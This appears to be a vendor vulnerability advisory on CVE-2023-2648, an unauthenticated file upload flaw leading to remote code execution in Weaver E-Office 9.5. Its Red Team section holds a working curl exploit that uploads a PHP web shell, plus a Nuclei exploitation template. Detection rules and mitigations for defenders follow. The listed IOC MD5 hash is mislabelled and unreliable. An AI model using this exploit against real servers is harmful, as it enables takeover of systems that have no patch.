CVE-2023-2648

Executive Summary

CVE-2023-2648 is a critical unrestricted file upload vulnerability in Weaver E-Office 9.5, specifically within the /inc/jquery/uploadify/uploadify.php endpoint. The vulnerability allows an unauthenticated remote attacker to upload arbitrary files, including web shells, leading to remote code execution (RCE) on the affected server. The vendor has not responded to disclosure, and no official patch exists. Public exploit code and a Nuclei template are available, making this a high-priority threat for any organization using this software.

Supply Chain & Package Security

This vulnerability affects a proprietary enterprise application (Weaver E-Office) and is not distributed via public package registries (NPM, PyPI, Go, Ruby). Therefore, supply chain package security considerations are not directly applicable. However, organizations should verify the integrity of their E-Office installation and monitor for any unauthorized modifications.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high CVSS score reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality provided by the Uploadify plugin, located at /inc/jquery/uploadify/uploadify.php. The script fails to properly validate the Filedata parameter, allowing an attacker to upload files with arbitrary extensions (e.g., .php). The uploaded file is stored in the /attachment/ directory under a numeric subfolder.

The attack flow is as follows:

1. The attacker sends a POST request to /inc/jquery/uploadify/uploadify.php with a multipart form containing a malicious PHP file.
2. The server processes the upload and stores the file in a directory like /attachment/{numeric_id}/.
3. The attacker then sends a GET request to the uploaded file's path to execute the PHP code.

The exploit uses a filename like {{file}}.php. (with a trailing dot) to bypass some server-side filters, though the core issue is the lack of extension validation.

Vulnerable vs. Patched Code

Vulnerable Code (uploadify.php): The vulnerable script likely contains minimal or no validation of the uploaded file's extension or content type. A simplified representation:

<?php
// uploadify.php (vulnerable)
$targetFolder = '/attachment/'; // Relative to the root
$tempFile = $_FILES['Filedata']['tmp_name'];
$targetPath = $_SERVER['DOCUMENT_ROOT'] . $targetFolder . $_FILES['Filedata']['name'];
move_uploaded_file($tempFile, $targetPath);
echo '1';
?>

Patched Code (Hypothetical): A secure implementation would validate the file extension and content type, and rename the file to a safe name:

<?php
// uploadify.php (patched)
$allowedExtensions = array('jpg', 'jpeg', 'gif', 'png');
$tempFile = $_FILES['Filedata']['tmp_name'];
$originalName = $_FILES['Filedata']['name'];
$extension = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
if (!in_array($extension, $allowedExtensions)) {
    die('Invalid file type.');
}
$newName = md5(uniqid()) . '.' . $extension;
$targetPath = $_SERVER['DOCUMENT_ROOT'] . '/attachment/' . $newName;
move_uploaded_file($tempFile, $targetPath);
echo '1';
?>

Since no official patch exists, the only mitigation is to apply a virtual patch via a WAF or disable the vulnerable endpoint.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Weaver E-Office 9.5
• Network access to the /inc/jquery/uploadify/uploadify.php endpoint

Exploitation Steps:

1. Upload a malicious PHP file:

   curl -X POST http://target/inc/jquery/uploadify/uploadify.php \
     -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt" \
     --data-binary @- <<EOF
   ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
   Content-Disposition: form-data; name="Filedata"; filename="shell.php."
   Content-Type: image/jpeg
   
   <?php system($_GET['cmd']); ?>
   ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt--
   EOF
   

2. Identify the uploaded file's path: The response from the upload request will contain a numeric ID (e.g., 123). The file will be accessible at /attachment/123/shell.php.

3. Execute commands:

   curl http://target/attachment/123/shell.php?cmd=id
   

Nuclei Template (Provided): The following Nuclei template automates the detection and exploitation:

id: CVE-2023-2648

info:
  name: Weaver E-Office 9.5 - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    A vulnerability was found in Weaver E-Office 9.5. It has been classified as critical. This affects an unknown part of the file /inc/jquery/uploadify/uploadify.php. The manipulation of the argument Filedata leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-228777 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patch or upgrade to a patched version of Weaver E-Office.
  reference:
    - https://github.com/sunyixuan1228/cve/blob/main/weaver.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2648
    - https://vuldb.com/?ctiid.228777
    - https://vuldb.com/?id.228777
    - https://github.com/bingtangbanli/cve-2023-2523-and-cve-2023-2648
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2648
    cwe-id: CWE-434
    epss-score: 0.92555
    epss-percentile: 0.99745
    cpe: cpe:2.3:a:weaver:e-office:9.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: weaver
    product: e-office
    fofa-query:
      - app="泛微-EOffice"
      - app="泛微-eoffice"
  tags: cve2023,cve,weaver,eoffice,ecology,fileupload,rce,intrusive,vkev,vuln
variables:
  file: '{{rand_base(5, "abc")}}'
  string: "CVE-2023-2648"

http:
  - raw:
      - |
        POST /inc/jquery/uploadify/uploadify.php  HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

        ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
        Content-Disposition: form-data; name="Filedata"; filename="{{file}}.php."
        Content-Type: image/jpeg

        <?php echo md5("{{string}}");unlink(__FILE__);?>
        ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
      - |
        POST /attachment/{{name}}/{{file}}.php  HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '{{md5(string)}}'

      - type: status
        part: body_2
        status:
          - 200

    extractors:
      - type: regex
        name: name
        part: body
        group: 1
        regex:
          - "([0-9]+)"
        internal: true

Blue Team

Detection & Response:

• Monitor for POST requests to /inc/jquery/uploadify/uploadify.php with multipart form data containing PHP file extensions.
• Alert on any new files created under /attachment/ with .php extensions.
• Use the provided YARA and Sigma rules to detect exploitation attempts.

Honeypot Setup:

• Deploy a decoy Weaver E-Office instance with the vulnerable endpoint exposed.
• Log all upload attempts and file access patterns.

Indicators of Compromise (IOCs)

• File Paths:
  • /inc/jquery/uploadify/uploadify.php
  • /attachment/{numeric_id}/{malicious_file}.php
• Network Traffic:
  • POST request to /inc/jquery/uploadify/uploadify.php with Content-Type: multipart/form-data
  • GET request to /attachment/{numeric_id}/{file}.php
• File Hashes (Example):
  • e99a18c428cb38d5f260853678922e03 (MD5 of "CVE-2023-2648")
• Log Entries:
  • POST /inc/jquery/uploadify/uploadify.php with status 200
  • GET /attachment/*.php with status 200

Detection Engineering

YARA Rule

rule CVE_2023_2648_Weaver_E_Office_Upload {
    meta:
        description = "Detects exploitation attempts of CVE-2023-2648 in Weaver E-Office"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-2648"
        hash = "e99a18c428cb38d5f260853678922e03"
    strings:
        $upload_path = "/inc/jquery/uploadify/uploadify.php"
        $php_tag = "<?php"
        $multipart = "multipart/form-data"
        $filename_php = ".php."
    condition:
        $upload_path and $multipart and $php_tag and $filename_php
}

Sigma Rule

title: CVE-2023-2648 Weaver E-Office Unrestricted File Upload
id: 8c5e2f3a-1b2c-4d5e-6f7a-8b9c0d1e2f3a
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2023-2648
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2648
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/inc/jquery/uploadify/uploadify.php'
        cs-content-type: 'multipart/form-data*'
    condition: selection
falsepositives:
    - Legitimate file uploads (if any)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2023-2648 Weaver E-Office Unrestricted File Upload Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/inc/jquery/uploadify/uploadify.php"; http_uri;
    content:"multipart/form-data"; http_client_body;
    content:".php."; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Actions:

   • Disable or remove the /inc/jquery/uploadify/uploadify.php endpoint if not required.
   • Apply a virtual patch using a Web Application Firewall (WAF) to block uploads with .php extensions.
   • Restrict access to the /attachment/ directory to prevent direct execution of uploaded files.

2. Long-term Fix:

   • Since the vendor is unresponsive, consider migrating to a supported alternative or implementing a custom patch that validates file extensions and renames uploaded files.

3. Detection:

   • Deploy the provided YARA, Sigma, and Suricata rules to monitor for exploitation attempts.
   • Enable detailed logging on the web server and review logs for suspicious upload activity.

Valters IT
Securing Your Digital Frontier

{/* [Security Hash: 53B9864109DF895C3E04D8E0] */}